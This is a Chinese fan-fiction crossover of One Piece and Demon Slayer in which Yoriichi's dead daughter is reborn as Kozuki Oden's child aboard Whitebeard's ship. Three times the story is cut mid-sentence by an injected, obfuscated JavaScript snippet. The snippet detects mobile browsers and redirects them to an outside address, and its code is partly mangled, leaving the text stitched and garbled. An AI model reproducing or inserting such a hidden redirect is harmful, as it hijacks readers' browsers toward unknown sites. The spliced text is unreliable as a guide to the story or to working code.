《[海贼]当不成将军怎么办》 1. 继国未来和光月未来 在继任千泷神社宫司的当晚，良玉迎来了他上任以来第一位参拜者。 被巫女从被窝里踹醒的时候，他尚且来不及整理衣冠，登上足袋匆匆踩过居室回廊，而参拜者早已净手步入拜殿，站在塞钱箱前拉动悬挂在檐上的铃绳。 他很高，也很强壮——应当算是强壮吧。巫女为良玉捧上象征宫司身份的狩衣，覆盖掉青年过分削白醇弱的骨节，良玉的指尖，在衣料冰凉的触感下微微瑟缩了一下。 真冷啊…… 瞌睡被生生压抑回眼眶里，良玉任由巫女在他身上拍打，强打起精神，好奇打量起这人。 叮铃铃~叮铃铃~ 沿着被泥雪浸透的羽织往上，是一截屈起的手臂。 他拉绳拉得很慢，也很稳当，铃音弥散开消逝在风雪里，缠绕在那只苍瘦手掌上的粗绳宛若神座蛇侍蜿蜒而下，探出灰白色的吻和猩红的舌，就连滚进钱箱的银豆，都好像沾染上了血腥的味道。 简直、简直就像参拜者的发色一样。 叮铃铃—— 铃响三下，之后是拜礼。 参拜者背对着他，高大身形深深低俯，二拜，起，二拍掌，停顿，再拜。 身旁白衣红裤的巫女端庄肃穆，身形几乎要跟这座神社融为一体，拜殿上只能听到短促沉闷的拍掌声。良玉莫名感到心慌气短，忍不住探头左右瞧了瞧，从被脚印截断的院落遥望出鸟居，再回头时，正好对上参拜者倏忽抬起的眉眼。 他已经参拜完了，伸手向良玉讨要祈福木牌。 这是个面容相当英俊的男人，红发逶迤，额角斑纹如火灼灼，声音也像这年冬季一样沉凉。 “请给我牌笔。” 他说，气势如刀，眼里却是一片死寂寥然。 ——这不是一位信徒该有的眼神。 良玉模仿前任宫司的仪态努力端起架子，有凡人肉眼看不见的灵力逸散出指尖，散过高搁于拜殿的御物，让属于神明的领域保持洁净清爽。 “愿你……”宫司开口，下意识想要给予参拜者祝福，但话刚滚到嘴边，复又默然。 没用的，毕竟就连神明，也洗不净一把早已浸满血的刀。 良玉收回指尖，看见参拜者拿起笔，同样也看见参拜者宽大羽织下露出的针脚丑陋的御守，以及缠在肩膀上，一只小臂长的布包。 “啊，那是……”良玉几乎是惊愕的。 “这是我的女儿，未来。” 参拜者用指弓轻轻抚过孩子的眼尾，那双眼睛里，第一次流露出除了木然之外的情绪。 “我如今孑然一身，早就不敢奢求除了活着之外的东西，如果宫司愿意，能否请你替我的女儿祈福？” 被男人抱在怀里的是个只有三四岁的孩子，双眸紧闭，肤色白而病态，赤色的短发下，是跟父亲一样宛如火焰般燃烧着的斑纹。 她已去世半日有余，是自然而亡，无病无痛。 在这个贫乏并不太平的年代，这是何其有幸，又是何其不幸。 良玉悲悯地合上眼睛：“你想要向神明祈求什么？” 男人定定看着怀里的孩子，良久，缓慢，而又坚定地回答：“未来。” …… 短暂的祈福仪式过后，参拜者虔诚将祈福木牌挂在树上，捡起斜靠在鸟居外的日轮刀，最后深深看了这座神社一眼，顺着来路毫不留恋转身下山。 良玉最后送了这位参拜者一程，在他身后，祈福木牌被雪粒拍打得摇摇晃晃，上面用刀锋一样的笔触刻下六个字——“继国未来，未来。” 没人知道他是怀着怎样的心情来到这座神社的，或许在鬼的脏脚入侵这座神社之前，良玉同样无法得知这位参拜者的名字，但毫无疑问的是，那一晚，千泷神社所供奉的神明确确实实得到了一位新的信徒。 一位深爱着女儿，却绝不愿意女儿来世继续继承他的血脉的父亲。 “如果可以，我希望这个孩子的人生能像她的名字一样。” “就叫她未来吧——” “继国未来。” “光月未来！” * 新世界，扇贝岛。 莫比迪克号白鲸一样的船首搁浅在这座遍布岩石沙砾，结构坑洼宛如海贝序齿一样的小岛边缘，在阴晴不定浪潮和海流的回旋冲击中，激荡出摇篮一样的微弱弧度。 这艘船实在是太大了，大到哪怕站在扇贝岛最高的山坡上也一眼看不到全部，同样也实在是太坚固了，敌人的海贼船被蓝色火焰拦腰切断，残破的海贼旗挟裹着船长的尸体沉入大海，那些绝望投射出去的炮弹，竟然没有一颗能在白鲸身上留下疤痕。 “那是当然的yoi~” 吃下不死鸟果实，在刚才的战斗中刚刚一鼓作气击毁了敌方海贼船的马尔科幻化出爪子和羽翼，把属于白胡子的旗帜牢牢扎在扇贝岛最高的山坡上，露出牙齿，冲着围观过来的岛民自豪介绍道。 “毕竟这可是承载着世界上最强的男人，我们的老爹白胡子的船！” 扇贝岛与世隔绝，那位身材矮小，却依旧坚持把黄金和宝石铸造成王冠钉在脑袋上的国王，闻言马上附和菠萝头少年搓手微笑并吟诵出赞美的诗歌。 比起大海贼白胡子的丰功伟绩，他显然更在意这把插在他的国土上的骷髅旗帜。 “所以您的意思是，从今以后我们特隆埃王国将会受到白胡子的保护，对吗？” 马尔科盘腿坐在石块上，得意又愉悦地“哼”了一声。 毕竟谁能想到呢，在这样一个领地狭小，物资贫乏到只盛产海贝的海岛上，竟然也能衍生出国家和君主。 马尔科看着面前干巴巴的小老头啧啧称奇，特隆埃国王被他看得心惊胆战，似乎又回到了被“恶鬼”酋曼支配掠夺的灰暗时期。 老国王想了一会，咬牙摘下头顶国库里最后一块黄金，用手捧着双手奉上，他的态度甚至是卑微的。 “为了感谢白胡子海贼团的庇护，请您务必允许我们缴纳贡品。” 没有海贼会对黄金和贝利无动于衷，即使白胡子一伙被称作是这片海域上真正的海贼团之一，宽容且漂亮。 马尔科也一样。 但是——“不用了yoi～我们已经有足够多了。” “如果你真的想要帮忙，不如给我介绍一点婴儿用的东西怎么样。我这次出来就是为了这个，毕竟船上那群不靠谱的家伙，从始至终都没有想到过要准备呢。” 自认为靠谱的见习船员马尔科拉开两只手比划出长度，不怎么确定:“他／她大概有——这么大?” 莫比迪克号即将迎来一个新的生命。 那是光月御田和光月时的孩子，据上一座岛的女巫占卜说，是个儿子。 其实以光月御田的性格来说，他完全不在意妻子这一胎怀的究竟是女儿还是儿子，也完全没有往“生下儿子”等于“光月家后继有人”这方面想过。 即使接受过和之国长达数十年的迂腐教育，这位不顾一切毅然出海的光月之子此时心里只有慌乱。 哪怕妻子的肚子是他看着一点一点鼓起来的，肚皮下属于婴儿胎心的触感几乎每晚都紧贴着他的掌心鼓动，光月御田依旧感觉慌乱。 那是一种类似于“我竟然要做爸爸了”、“我竟然即将拥有一个孩子”的懵逼和喜悦。 在刚才的战斗中，即使以藏等人再小心翼翼地护着，光月时仍然受到了战斗的波及，本来就接近生产的身体剧烈抽动，完全是被光月御田抱进了船舱。 去岛上唯一一家医院生产已经不可能了，只能由女医生赶过来，由女船员怀迪贝陪着，在船舱里搭建出临时产房，现场接生。 此时距离光月时被推进产房已经过去了半个小时。 甲板上乱糟糟的，从恶鬼酋曼那里抢夺过来的财宝被胡乱堆在一起，成为了船长爱德华·纽盖特的座椅。 光月御田手里捏着他的起名小本本趴在舱门上偷听里面的动静，身后甲板上是其他干瞪眼的白团海贼们。 光月时痛苦的喊叫声不间断从船舱里传出来，几乎所有人都揪了一把心，纽盖特最淡定，坐在距离船首最近的位置喝酒看海，时不时分神往这边瞟上两眼。 大概是见气氛太紧张了—— “咕啦啦啦啦~”突然，纽盖特放下酒碗说。 于是一堆人迅速从船舱门上移开视线，转头盯他，乔兹摸了把脑袋，期待道：“您是有什么话想要说吗？老爹。” “对啊对啊。” 一堆人附和点头。 “……” 纽盖特顶住儿子们热烈的眼神，手指摩挲着酒碗，眼神放空，盯着碧波荡漾的海面，开始认真思考他到底应该有什么话要说。 但就算是大海贼未免也有词穷的时候。 如何呢，要无视掉吗?不，这样未免太没有威严了。 但这时候没有人主动站出来打圆场，大家的脑子大概都被海王类给吞掉了，纽盖特思来想去，最后只好干巴巴憋出来一句话。 “不用这么紧张，御田，会没事的。” “啊，那是当然的，小白吉，毕竟那是阿时嘛。” 光月御田匆匆敷衍完，继续趴回门上偷听，其他人面面相觑，跟着光月御田转过头。 ——这是当然的，所以他们怎么能期待这种情况下老爹嘴里能说出什么了不得的金句呢？说不定在白胡子横刀策马的前半生里，压根就没有经历过担心女人生孩子这种事，不，说不定他根本就连怀孕的女性都很少见。 好不容易应付过去的纽盖特又默默干了一碗酒，瞧了一眼产房的方向，表情少见的凝重起来。 突然，他抬头看了眼海平面。 现在是清晨，一轮太阳即将出生，但它未免太红了点，连绵不断的尾触像昨夜沙滩上点燃的篝火，一直烧透到世界边缘。 “咕啦啦啦啦，真是少见的颜色。”纽盖特端着酒碗眯起眼睛。 感觉，似乎有什么不得了的东西就要出来了一样…… 纽盖特金色的瞳孔里，一把赤红刀剑的虚影正缓慢在太阳光面上成型，也就是在这时候，临时产房里隐隐约约传来一声细微的哭声，那声音比猫叫大不了多少，却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583393|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的的确确昭示着新生命的到来。 “出生了！出生了！” 甲板上不知道是谁喊了一声，所有人都沸腾起来，早就等得急不可耐的光月御田推开门缝，硬挤进去一颗脑袋。 这家伙没有眼力见地开始嚷嚷：“阿时！阿时！阿——” 一干海贼也跟着开始瞎起哄：“哦！哦！！” “吵死了你们这些家伙！孩子都要被你们吓哭了！” 怀迪贝怀里抱着一只襁褓，伸腿狠狠踹开舱门，“啪”地一声，木门在光月御田脑门上留下一个碗口大的红印。 “哦——哦……” 那声音听着实在是太疼了，众人噤声，缩头观察冰之魔女的脸色。 怀迪贝小心翼翼地，把孩子递给了这位新手父亲，脸上带着遮掩不住的喜色。 “不过，还是要恭喜你，是个女儿。” “哦哦！是个女儿！” 看上去就很不靠谱的新手父亲这样重复道，海贼们欢呼着围攻过来。 “快快快，快给我们看看小侄女！” “御田，你挡住我了，往那边一点。” “哈?我还得抱着孩子吧？” “嗯～她的脸上盛开着火焰一样的花朵呢，竟然是御田你的孩子——我的意思是，真是可爱。” “胎发竟然是红色的，不知道眼睛是什么颜色?” “黑色吧？” “绿色！应该是绿色。” 因为孩子的出生而仿若春风拂过的莫比迪克号上充盈着肉眼可见的喜悦，光月御田抱着女儿招呼白胡子:“喂！小白吉，你也过来看嘛！” 但是那双金色的眼睛里竟然是疑惑而凝重的，光月御田挥舞着的手一滞。 宛若流星坠落苍穹，太阳洒下的羽火彻底肆虐过整片天空，半个新世界的海贼全部惊诧抬头注视着这片突然出现的异象。 高悬于云端之上的赤刀终于成型，像被剑术精湛的剑士握在掌心，赤红的刀刃在腕间翻旋，伴随着三道祈祷时悠远的铃音，舞出一轮绚烂的告别火舞。 一式。 二式。 三式…… …… 整整十三式。 残光最后洒落在莫比迪克号上，然后，收刀回鞘。 光月御田掌心的婴儿响应一样睁开眼睛，那是一双和黑曜石一样纯澈漂亮的眼睛，像光月御田，或许，也像别的什么人。 “你有听到吗？小白吉。”光月御田突然开口问纽盖特。 “你是说异象?咕啦啦啦啦～真是生了一个了不得的女儿啊，御田。” 纽盖特重新往碗里倒满酒，却没有要喝的意思，他低头，视线扫过光月御田怀里的婴儿，显然是温和又感兴趣的。 “给她起个名字吧，御田。” 其他人也跟着嚷嚷:“对！赶紧起个名字啊，御田！你还在等什么呢？” 光月御田低头看着自己的女儿，小家伙就用那双黑色的眼睛和他对视，红色的胎发，火焰状的斑纹，也是，他和阿时的孩子。 “也对，让我想想，该起个什么样的名字好呢？” “御田，之前不是想了好多名字吗？就在你的本子上——奇怪，你把本子放哪去了？” 怀迪贝疑惑地带人翻遍整个前甲板，奇怪的是，根本没有找到什么起名本子。 “明明刚才还看见他拿着。” “不会是藏起来了吧？” “笨蛋，那个有什么好藏的？难道那是你昨天偷吃完的油纸包吗？” “喂——！” “算了算了，反正那上面的名字大部分都是男孩的。” 怀迪贝走过来:“所以，名字已经想好了吗？” “嗯……夕凪？纱织?希望?” 光月御田报出一连串的名字，盯着女儿的眼睛，突然一拍脑门，想到了好点子。 “——不如就叫她未来吧！” “未来?” “啊，光月未来。希望我的女儿，之后的人生就像她的名字一样充满希望。” “咕啦啦啦啦，未来吗？真是不错的名字。” “是啊。”光月御田高高托举起孩子，高举到光晕集中的位置，脸上扬起他标志性的大笑。 “那么，欢迎成为我的女儿，未来！” 像是在回应一样，婴儿一只手垂下来，握住他的指尖。 纽盖特起身宣布:“小子们，为了庆祝御田的女儿出生，今晚就开派对庆祝一下吧。” “马尔科呢？快去个人把马尔科找回来。真是的，明明还只是个见习船员而已，老是喜欢乱跑。” 几个海贼搬着酒桶路过，笑嘻嘻替马尔科开脱:“马尔科那家伙击沉酋曼后就拿着旗子上岛了。嘛～不要担心嘛怀迪贝，怎么说他也是不死鸟能力者，在这种岛上还没那么容易出事。” “老爹你在看什么?” 光月御田把女儿递给纽盖特:“哦！你也想抱一下未来吗？小白吉。” 纽盖特盯着孩子欲言又止:“不是——我是说，嗯，可以试试看。” 2. 好爸爸和海贼 继国未来，不，现在是光月未来，看到了两个巨人。 阳光投在纽盖特过分高大的身躯后散射弥离开，剩下些微光沫落在光月未来的眼睛里。 那两只瞳孔奇异地微微紧缩，带着连纽盖特都为之侧目的成熟感，就这样安静惊讶地注视着他，或者，是莫比迪克号甲板上的所有人。 “唔。”纽盖特下意识放低自己伸过去的手，好让笨手笨脚的新手父亲能够安安稳稳把婴儿平铺在他的掌纹上。 透过皮肉传来过分绵软的触感，碎弱得就像金色绒毛岛上最轻软的羊毛——马尔科他们曾经采买过一堆，如果幸运没有发霉的话，应该可以给小家伙缝制一件羊毛衫。 这样想着，纽盖特把光月未来托到和胸口齐平的位置。 纽盖特低头：“对世界感到好奇吗？小家伙。” 婴儿当然不能回答他，纽盖特倏忽间抬起手，婴儿的襁褓于是在湿润苦涩的海风中，和扫掠而来的蓝焰激烈拥吻。 “哇啊！”云端马尔科紧急敛翅，给吓了一大跳。 不死鸟透过云团打量下面躺在纽盖特掌心的婴儿，比斯塔招呼他：“哦~马尔科！你能看见御田的孩子吗？是个女孩儿。” “女孩？不是说……”马尔科的语气略显古怪。 不是说是个男孩吗？ “有什么问题吗？” “不、不是！”马尔科缩起爪子将带回来的箱子藏了藏，那里面是一大堆男孩用的东西。犹豫了一会，马尔科调转翅膀往回飞。 “你要去哪？马尔科。”闻讯赶来的怀迪贝单手叉腰，皱眉望向在云里探头探脑的不死鸟。 “喂——今天晚上有篝火宴会！” 可是那个身影一瞬间就溜走了。 “我马上回来！马上！” 船头，纽盖特还在欣悦宣布，跟颠颠抛下孩子去找光月时，还不忘回头大声应和表示赞同的光月御田一前一后。 “那就用自己的眼睛好好看看吧，咕啦啦啦啦！” “住手！你们怎么能让刚出生的婴儿吹海风呢？这样可是会出人命的！” 海水翻卷舔舐，咸风凌冽，在终于收拾好手术工具出来的女医生愤怒的“放她下来”吼声中，纽盖特疑惑侧头，这时—— “阿嚏。” 一声非常清晰的喷嚏声，似乎是从掌心传来的…… “她好像感冒了，老爹。” 随着这句话被某个人秃噜出口，旁边路过的海贼们明显感觉到，纽盖特举起的胳膊僵硬了一瞬。 当然，他最后还是若无其事地把孩子拿了下来，重新裹好襁褓，塞进船舱里。但这并不能消磨掉这位大海贼初次抱孩子时的阴影，导致纽盖特在之后很长一段时间里，都不太敢触碰光月未来。 “我很抱歉。”纽盖特说。 光月时抱着孩子摆摆手，有些受宠若惊：“不，您不必这样做。”她隔着襁褓摸了摸光月未来的脊背，担忧道：“可是该怎么办呢？这么小的孩子，根本没有办法吃药。” “那，贴点姜片怎么样？医生说这样可能会好点。”光月御田心虚地捏着两片生姜，企图把它们贴到孩子的脚底板上，“或许也可以喂点热水？” “阿时你别动，我来，我来。”光月御田颇有将功补过的意思，殷勤地掀开裹着孩子脚的那边襁褓，一只小手伸过来，握住他的手指，这让光月御田惊讶地“咦”了一声。 船舱里的海贼们循声看去，发现光月未来正努力抬起脑袋，两只手都没有闲着，一只手握住光月时的手指，一只手握住光月御田的手指。 她没有像正常婴儿那样因为难受大哭出声，反而绷紧脸，执拗地紧盯着自己的父母。 好像一个不留神，他们就会溜走一样。 “这是在干嘛呢？” “一定是在认人吧！就像小动物会跟第一眼看到的人走那样。” “可是未来刚才没有抓老爹的手指啊。” 大家伙儿压低声音，小心翼翼地盯着光月御田贴姜片，时间一直走到七点，说好的篝火晚会也没人有心思再去准备，所有人一直等着，但是光月未来的感冒一直没有好。 相反，半个小时后，光月未来又开始发烧，一边打喷嚏，一边昏睡。 这对刚出生的婴儿来说，几乎是致命的威胁了。 莫比迪克号上差点乱成一锅粥，还好纽盖特很快亲自拎着马尔科回来，不死鸟扛着一只超大号的箱子咕噜噜滚到甲板上，来不及拍拍屁股，就被比斯塔和乔兹一左一右架进船舱。 乔兹举着马尔科往里闯，不死鸟的长尾羽磕磕绊绊拖在木地板上：“来了来了！药来了！” 急得团团转的海贼们这才一拍脑门记起来：对呀！还有这家伙在！ “听着，马尔科。”马尔科肩膀上的箱子被抢走，翅膀间很快塞进一个绵软热乎的孩子，他的同伴们、刚刚犯下大错的新手爹，甚至就连他的老爹，全部一脸郑重地看着他。 怀迪贝拍拍马尔科的肩膀示意：“相信在这之前的每一刻，都不会比这次的意义更重大了！” 原本打算凭借“靠谱”被刮目相看的见习船员肩膀一挑，下意识挺直了腰杆：“哦、哦，我会好好干的yoi！” * 光月未来的病让习惯了风里来雨里去的海贼们意识到，所谓婴儿到底是怎样脆弱的存在。如果连那样温和的海风都承受不住的话，无法想象她未来要如何跟着他们在海上生活下去。 虽然很为难，但是船上的大家商量着，如果下一站是个富饶的岛屿，不如就把未来留下来好好养上两年，等长大一点再接过来，毕竟海贼的航程不可能因为一个婴儿耽误。 纽盖特坐在船头没有说话，等于是默认了儿子们的方案。 马尔科最先提出反对意见，就在帮忙治病的过程中，他已经跟未来建立了深厚的友谊，虽然是单方面的。 “我可以抱着她yoi~！就像刚开始那样！” “别闹了马尔科，难道你要一直呆在后面不去战斗吗？更何况，海上对一个婴儿来说本来就可能存在致命危险。”大家直接掠过他去看被家臣簇拥着，从开始就一直沉默的光月御田。 毕竟这种事还是要征求父母的意见。 “你怎么看，御田？如果时间短的话，只需要分开半年。” “嗯。”光月御田点点头，就在大家松了一口气的时候，这位父亲很不负责任地扬起嘴角这么说了：“其实我的女儿……”他挠挠头，“可能也没有那么弱。” “喂！御田/御田大人！” 光月御田对这些劝告充耳不闻，反而抬起头，视线越过人群直接和纽盖特对上，请求道：“不如再给她一点时间吧，小白吉？” “你可要想清楚了，老爹！千万不能跟着御田一起胡来啊。”大家劝不动光月御田，只好转头去劝纽盖特。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583394|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “咕啦啦啦啦！”在儿子们焦急的注视下，纽盖特反而大笑出声。 “老爹？”大家心头瞬间涌上不好的预感。 果然，纽盖特说：“那就试试吧，御田。我也很好奇，这一个月，你能把那孩子教成什么样子。” 光月御田端正地，微微俯身道谢:“哦，那可真是太感谢了，小白吉。” “话虽然已经说出去了，可究竟要怎么做呢？”光月御田推门进屋，咚地一下盘腿坐在坐垫上，从光月时怀里接过女儿，下一秒，光月未来伸手捏了捏他的指尖，又很快松开，从襁褓里翻身，想要爬。 “不不不、不是这样。”光月御田眼疾手快抓住襁褓把她拽回来，未来疑惑地扭头看他，又伸手捏了捏他的指尖，然后放开。 似乎经常在女儿脸上看到这样稍显成熟的眼神呢……光月御田刚要说出口的话一下子吞进去一半，再开口是：“……你应该还不到能随便爬的时候，未来。嗯，我是说，在你这个年龄阶段。” 他翻出马尔科友情提供的书，上面写着：《好爸爸育儿宝典》。 光月御田翻开第十二页，清清嗓子，开始读：“对于出生还不到一个月的婴儿来说，最重要的事情是睡觉，他们一天通常能睡11到19个小时。所以你现在应该睡觉，未来。” 念完书低头，光月御田发现未来正安安静静抬头盯着他，突然就有点不确定了。 “总之，你能听明白吗？” 未来歪头，似乎在认真辨别他到底想要说什么，最后也只是又犹豫着捏了捏他的指尖。抬头看他，像在询问。 显然她是听不懂的。 “御田大人。”光月时掩唇偷笑，提醒他，“书上有说，不到一个月的孩子应该会说话吗？” 那当然是没有的。 不过光月御田思维跳脱，很快又有了新的问题：“未来一直这么喜欢捏别人的手指头吗？阿时。” 显然母亲总是能比父亲观察到更多，光月时跪坐下来，摸摸未来的脸颊，回答他“当然不是，她只是喜欢在和父亲打招呼的时候这样做，对不对，未来？” 光月未来伸出手，抱住了母亲的胳膊。 为了方便光月时和光月未来休养，莫比迪克号在扇贝岛多停留了整整一个月的时间。 在经历过最初的兵荒马乱之后，船上的大家惊讶发现，仅仅用了三天的时间，光月未来已经从之前那个病怏怏的孩子，变得能自己坐起来，随意抓取轻巧物品，甚至有掌握爬行技巧的倾向。 “我早就说过了。”接生光月未来的女医生回访时欣慰强调，“只要你们不带着她随便乱跑，比起普通的孩子，她还是很强壮的。” 这句话让好不容易动摇了一点念头的海贼们重新冷静下来：“不能乱跑是什么意思，是说不能在海上航行吗？” 女医生奇怪地看向问话的人，他长着一头炸刺一样的头发。 “你怎么会这么问，那当然是不行的。” “啪”。 光月未来拍到一颗球，那颗圆溜溜的东西从孩子的掌心擦过撞到墙上，又从墙上反弹出去，很快飞出莫比迪克号的甲板，坠落进一望无际的碧蓝深海中。 乔兹盯紧她，突然绷紧起身体。 光月未来茫然地呆坐了一会，抵住手腕支撑起身体，打算往船舷的方向爬。 这次，乔兹起身，直接往未来的方向走过去。 3. 爬和站 “真的能行吗？这样会不会太早了一点？” 光月未来突然四肢着地，晃悠悠在甲板上爬行挪动，让来来往往的海贼们不约而同放慢手头的工作，偷偷注意起这边，就连纽盖特都停止了喝酒的动作。 “哦、哦，已经能爬了！” 过了一会，似乎是意识到这样移动太慢了，她开始扶着扶手尝试站起来。 海贼们见状，纷纷替光月未来捏了一把冷汗，人群里响起窃窃私语的声音。 这里没有人会养孩子，就连看上去出奇“靠谱”的马尔科，也不过是靠着几本育儿手册勉强赶鸭子上架的半成年小鬼。 被问到的人犹豫挣扎了好一会，硬下心肠：“不要企图阻挠孩子的好奇心，你这个混球。” 事情当然不会那么顺利，光月未来一只手扣紧围栏，另一只手抵着地面，她开始用力，腿弯伸直。但不知道到底是因为甲板刚打过蜡的原因，还是因为婴儿的骨骼过于柔软，突然，光月未来脚下一滑，直接额头着地向甲板摔倒。 莫比迪克号的甲板有多硬？那可是连皮糙肉厚的海贼们摔上去都要乖乖躺上几秒钟的程度，更何况是这么小的一个孩子！ 周围兴致勃勃围观的海贼们被吓得马上丢掉手里的工作，以成为肉垫的觉悟朝光月未来即将摔倒的位置飞扑。 “哦~未来，到吃奶的时间了，快看我给你准备了……”光月御田推开船舱门，手里还捏着奶瓶和婴儿折叠床，看到这一幕真的要吓死了，边跑边喊：“未来！未来！快伸手护住脑袋！” “再快点再快点——要赶不上了啊啊啊！” 还好有一个一直在关注着这里的人动作比他们更快。 “小心点。” 乔兹一把薅住光月未来的衣领，拉直好好放到坐垫上，严肃道：“不要这样做，太危险了。” 咚！咚咚！ 围着两人劈里啪啦头朝地砸下一圈海贼肉垫，先是下巴，接着是胸，比斯塔颤颤巍巍伸出大拇指夸奖：“干、干得好，乔兹。” “不过我们可能要缓上一会了、哈、哈……” 光月未来伸出手，拍了拍乔兹的肩膀——膝盖。 乔兹一瞬间竟然听懂了婴儿的语言，睁大眼睛指了指自己：“你是在感谢我吗？” 光月未来没有出声，又拍了拍他的膝盖。 “Th…Thank you…”乔兹背过身挤成一个很大的块头，默默捂住自己涨红的脸。 “你不用道谢，未来，身为叔叔……嗯，或者是哥哥，做这些都是应该的。” 光月未来观察着他的动作，在发现对方有好好接受感谢后，认为事情已经告一段落，爬走去找光月时。 留下乔兹还在碎碎念：“如果你真的想感谢我的话，下次马尔科带你玩的时候，其实我也可以……” 好半晌，后面没有人回应，乔兹疑惑地转过头，才发现光月未来早就爬着离开了，身后还跟着一大堆无所事事好奇心爆棚的海贼。 只有比斯塔拍了拍他的肩膀，嘴角上挑，想要说点什么。 “噗嗤！”突然，该死的家伙这样嘲笑出声。 “哈哈哈，乔兹！不如你去找马尔科打一架吧。” * “快看快看，爬得相当顺利呢！” “哦、哦！是曲线前进，很灵活的走位，这么小就已经开始练功了吗？未来。” “一群蠢货！她是被你们给挡住了，赶紧让开。” 光月未来感觉到手臂有点疼。 这本来不是什么不能忍受的大事，但是皮肉下传来的水胀感告诉她，她可能受伤了。 脑子里蓦然响起继国缘一的嘱托，像隔着一层风雪一样飘渺—— “如果受伤了，一定要告诉爸爸。” 告诉，爸爸？ 爸爸在哪？ 光月未来茫然地看向四周，身后跟着的海贼们也一起停下来，呼啦啦挤到她身边。 “你需要什么吗？未来？” 有人蹲下试着跟她说话，但大家很快发现她根本听不懂，海贼们感到为难，又加上动作指了指她：“你。” “……”光月未来没有反应。 直到她被身上绑着一大堆婴儿用品的光月御田抱进怀里，光月未来才像突然惊醒那样，向光月御田展示她被扶手边缘勒红的小臂，那里已经连成了惊心动魄的一片。 “啊——” 海贼们倒吸一口凉气。 “你受伤了，未来。” 光月未来迟疑了一会，伸出手捏了捏他的指尖。 —— “如果不确定站在你面前的人是谁的话，就去摸摸他的手吧，记住这个触感，这是爸爸。” 但长大熟悉了继国缘一的气息后，未来已经很久没有再用这个动作去分辨过父亲了，现在，捏手指通常被她用来表示：“你好。” 一个代表着不确定的词语。 光月御田想了想，回手反捏住未来的手指，询问她：“是这样吗，未来？” 孩子黑色的眼睛猛然睁大了。 “哈哈哈，很惊讶呢。嗯，手再抬高一点。” 光月御田好好检查过她的伤口，从医疗箱里拿出碘伏和纱布：“一会疼的话，一定要记得哭出声哦。” “哦对了，你听不懂，不过哭应该是婴儿的本能吧？” 光月未来没有哭，涂药、包扎、打蝴蝶结，整个过程顺利得让光月御田忍不住怀疑他的包扎手法是不是进步了。 “啊，猫腹蛇。” 光月御田挥手招呼从医务室门口路过的猫咪毛皮族。 “是？御田大人。” “过来，过来，让我看看你上次受的伤。” 光月未来坐回甲板的垫子上，眼睛盯着医务室，安安静静等了好一会。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583395|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 意识到光月御田没有因为受伤就出来把她抱进屋里，也没有发出禁止玩耍的信号，孩子紧绷的肩膀肉眼可见的松弛下来，又开始摆弄垫子周围马尔科给她搜罗过来的玩具。 “我回来了，未来！” 马尔科抓着一大包婴儿用品扫过海面飞掠过来，不死鸟灼烧的蓝焰呼啦啦扇过同伴们的后脑勺，在距离纽盖特五米远的位置乖顺停下。 “咳、咳咳、马尔科！今晚我一定要趁你睡着的时候拔光你的鸟毛！” “你就不能稍微冷静一点吗，哥们，好歹也是个正式船员yoi。” “喂喂，”已经做好和马尔科互踢一脚准备的人听到他竟然这么说，扭头不可思议地看向纽盖特，“老爹！” 这还是那个风风火火的马尔科吗？ “咕啦啦啦啦，马尔科已经长成相当靠谱的大人了。” 相当靠谱的马尔科自豪地挺起胸膛，把包袱里的东西全部摊开放在光月未来面前，拿起一只贝壳猴子邀功道：“看，未来，这就是我和你说过的，那种一按就能发出乒乒乓乓声音的玩具yoi~” 光月未来接过贝壳猴子细细摸索了一遍，很快找到诀窍，按动猴子身后的尾巴，莫比迪克号上一小片空间霎时响起乒乒乓乓的敲打声。 “真聪明yoi。”马尔科摸了摸光月未来的头，发现，“你受伤了？未来。” 在海贼的世界里，受伤不是什么值得一提的大事，更何况是对于拥有治愈青炎的马尔科来说。 不死鸟变幻出半边翅膀，把光月未来搂进怀里，他本人则充当了靠枕，另一只手继续翻找他从岛上买来的东西。 没有事的海贼们围坐成一圈，七嘴八舌讨论起刚刚发生的事。 马尔科：“欸~被御田包扎伤口也没有哭吗？真是坚强啊，未来。” “不是这样的，马尔科。”相比起马尔科，有人则显得忧心忡忡。 “未来她似乎除了刚出生的时候，剩下的时间都没有哭过，你不觉得她太冷静了一点吗？就连扇贝岛上的医生都很惊讶。” “还有……”那人还想说点什么，光月未来却在这时突然抬起头盯着他，吓得他立马心虚地捂住嘴。 结果光月未来只是探过身子，伸手拿过他手边的珠串，握在手里摸索。 显然，比起人，她更对物品感兴趣。 那人悄悄松了一口气，咽下滚到嘴边的话。 就在刚刚，光月未来宁可忍着那么剧烈的疼痛，也要去找光月御田包扎，一路上不哭就算了，根本没有向周围的人寻求帮助。 这艘船上的海贼不全是五大三粗，当然也有心思细腻的人在，太明显了，这是不信任的表现。 